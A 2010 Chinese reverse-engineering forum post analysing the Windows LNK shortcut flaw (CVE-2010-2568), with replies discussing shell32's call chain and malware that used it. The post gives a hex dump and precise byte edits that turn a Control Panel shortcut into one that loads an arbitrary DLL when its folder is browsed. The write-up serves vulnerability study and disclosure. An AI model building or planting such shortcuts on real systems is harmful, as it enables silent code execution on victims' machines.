首页
社区
课程
招聘
[原创]LNK快捷方式文件漏洞简要分析
发表于: 2010-7-22 00:04 74847

[原创]LNK快捷方式文件漏洞简要分析

2010-7-22 00:04
74847

前言
    windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,可以加载硬盘上的任意DLL文件,即可执行任意代码。

漏洞文件的生成
    到“控制面板”下面,右键点“显示”,点“创建快捷方式”,把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   4C 00 00 00 01 14 02 00  00 00 00 00 C0 00 00 00   L...........?..
00000010   00 00 00 46 81 00 00 00  00 00 00 00 00 00 00 00   ...F?..........
00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000030   00 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00   ................
00000040   00 00 00 00 00 00 00 00  00 00 00 00 CC 00 14 00   ............?..
00000050   1F 50 E0 4F D0 20 EA 3A  69 10 A2 D8 08 00 2B 30   .P郞??i.⒇..+0
00000060   30 9D 14 00 2E 00 20 20  EC 21 EA 3A 69 10 A2 DD   0?...  ??i.⑤
00000070   08 00 2B 30 30 9D A2 00  00 00 9C FF FF FF 00 00   ..+00潰...?..
00000080   00 00 00 6A 00 00 00 00  00 00 1D 00 20 00 44 00   ...j........ .D.
00000090   3A 00 5C 00 57 00 49 00  4E 00 44 00 4F 00 57 00   :.\.W.I.N.D.O.W.
000000A0   53 00 5C 00 73 00 79 00  73 00 74 00 65 00 6D 00   S.\.s.y.s.t.e.m.
000000B0   33 00 32 00 5C 00 64 00  65 00 73 00 6B 00 2E 00   3.2.\.d.e.s.k...
000000C0   63 00 70 00 6C 00 00 00  3E 66 3A 79 00 00 F4 66   c.p.l...>f:y..鬴
000000D0   39 65 A8 60 84 76 4C 68  62 97 84 76 16 59 C2 89   9e╜剉Lhb梽v.Y
000000E0   0C FF 8B 4F 82 59 CC 80  6F 66 01 30 4F 5C 55 5E   .婳俌虁of.0O\U^
000000F0   DD 4F A4 62 0B 7A 8F 5E  01 30 9C 98 72 82 01 30   軴.z廭.0湗r?0
00000100   57 5B 53 4F 27 59 0F 5C  8C 54 4F 5C 55 5E 06 52   W[SO'Y.\孴O\U^.R
00000110   A8 8F 87 73 02 30 00 00  00 00 00 00 00 00         ◤噑.0........


把偏移7A处的9C FF FF FF改成00 00 00 00,把后面的文件名D:\WINDOWS\system32\desk.cpl改成C:\dll.dll(UNICODE格式)。保存文件。把这个文件复制到任意目录下,当用户浏览该目录时,就会加载C:\dll.dll文件。
Lnk文件格式的相关地方
Lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面,这个结构是按照层来表示一个目标的。上面那个lnk文件里面,第一层是
 14 00   ............?..
00000050   1F 50 E0 4F D0 20 EA 3A  69 10 A2 D8 08 00 2B 30   .P郞??i.⒇..+0
00000060   30 9D
14 00代表长度,后面的16字节是“我的电脑”的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D},注册表里可以搜到。第二层是
14 00 2E 00 20 20  EC 21 EA 3A 69 10 A2 DD   0?...  ??i.⑤
00000070   08 00 2B 30 30 9D
这个是“控制面板”的GUID {21EC2020-3AEA-1069-A2DD-08002B30309D}。
第三层就是后面长度为0xA2的目标文件。这里面偏移0x7A处的9C FF FF FF是用来指明快捷方式图标的index。貌似是这样的。
所以这个Shell Item Id List所指向的文件就是:我的电脑->控制面板->D:\WINDOWS\system32\desk.cpl。
对于普通文件的快捷方式,好像是:我的电脑->盘符->目录1->目录2…->文件名。

漏洞产生的地方
    shell32在处理lnk文件的时候要把它的图标显示出来,对于一般文件应该是从Icon filename string里面解析,但对于文件后面没有Icon filename string结构的控制面板快捷方式,是直接从0x7A那里的iconindex来解析。当这个iconindex是0的时候,会去加载cpl文件,调用CPlApplet接口,这样就存在执行DLL中代码的问题。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (48)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
MARK下,学习了
2010-7-22 00:13
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
3
是在U盘上创建了26个lnk
2010-7-22 01:22
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
isno大侠很久没写帖子了
2010-7-22 02:37
0
雪    币: 442
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
很好,学习了
2010-7-22 06:18
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
事实上正是产生了多个lnk来实现加载,driver再隐藏了一下。不过一般来讲也用不了20多个。
2010-7-22 09:15
0
雪    币: 1969
活跃值: (46)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
7
占位学习
2010-7-22 09:44
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
8
很好。那天我也调试了一下这个漏洞。
2010-7-22 10:20
0
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
最近刚好遇到这个样本
不过这种方法,按理说病毒已经进入到你的计算机了,所以隐藏自身可以,但是传播就不太方便了
2010-7-22 10:24
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
10
楼主加载shell32.dll的pdb会看得更清楚一点,那两段代码,第一段是CCtrlExtIconBase::_GetIconLocationW,第二段是CPL_LoadCPLModule,调用顺序是
CCtrlExtIconBase::_GetIconLocationW->CPL_FindCPLInfo->CPL_LoadAndFindApplet->_LoadCPLModule,这个过程在原始漏洞公布文章http://www.ivanlef0u.tuxfamily.org/?p=411中给的栈回溯信息里可以看得很清楚。

http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx
这一篇文章对这几个函数功能有一定的说明。

“其实我觉得这个也不算是一个真正意义上的漏洞,因为既然要解析出图标,加载对应的DLL文件也是说得过去的,凑巧被病毒利用上了而已。”
要解析出图标,加载过程只要把文件映像进内存就行,也就是一个ZwCreateSection,或者LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE),然后就可以找资源了,不必要调用dll文件的DllMain函数。而现在的问题是不经检测dll文件是否可信就调用DllMain函数,这样就使得不应该被信任的dll文件得到了执行的机会。
漏洞有多种,因为参数检查不严而发生溢出是一种,因为信任检验机制缺失而导致不保证信任的东西获得自动执行机会,这也是一种。
2010-7-22 11:22
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
11
LS的补充很不错....
2010-7-22 12:42
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
12
冒似pif文件也存在类似漏洞
2010-7-22 12:51
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不错,我做做测试,研究一下
2010-7-22 15:08
0
雪    币: 2368
活跃值: (81)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
14
http://news.baike.360.cn/fw/bbs/3451604/37744558.html?recommend=1

360速度好快啊
2010-7-22 15:48
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
今天实验室的人讨论了一天了···mark··和
2010-7-22 16:15
0
雪    币: 358
活跃值: (63)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
16
是的,你说的没错,现在已经被病毒利用了,再怎么说都已经是安全漏洞了。
但是如果当初发现漏洞的人直接把这个问题提交给微软的话,以微软的作风,绝对不承认这是一个安全漏洞,他们会告诉你这是一个小的设计缺陷,会在以后的补丁中顺带补一下。
2010-7-22 16:19
0
雪    币: 427
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
有时间测试一下,mark了
2010-7-22 17:22
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
18
这个要顶~~~~
2010-7-22 18:17
0
雪    币: 58
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
都讨论很久了。
2010-7-22 19:29
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
http://www.smxiaoqiang.cn/blog/lnk.html   是楼主的博客?
2010-7-22 21:45
0
雪    币: 358
活跃值: (63)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
21
不是
2010-7-22 23:17
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
那是你原创么???
2010-7-22 23:20
0
雪    币: 358
活跃值: (63)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
23
http://rat2.cn/blog/
这个是我博客
2010-7-23 00:36
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
24
话说今天仔细想来,这玩意不是漏洞,估计是"后门",跟当年那个WMF的一样的"后门"...
2010-7-23 01:38
0
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
我把 http://www.ivanlef0u.tuxfamily.org/?p=411 页面的文件下载到本地 xp/sp3 的c盘根下面, 然后修改为suckme.lnk 并运行,没有弹出消息框啊.
2010-7-23 08:58
0
游客
登录 | 注册 方可回帖
返回
//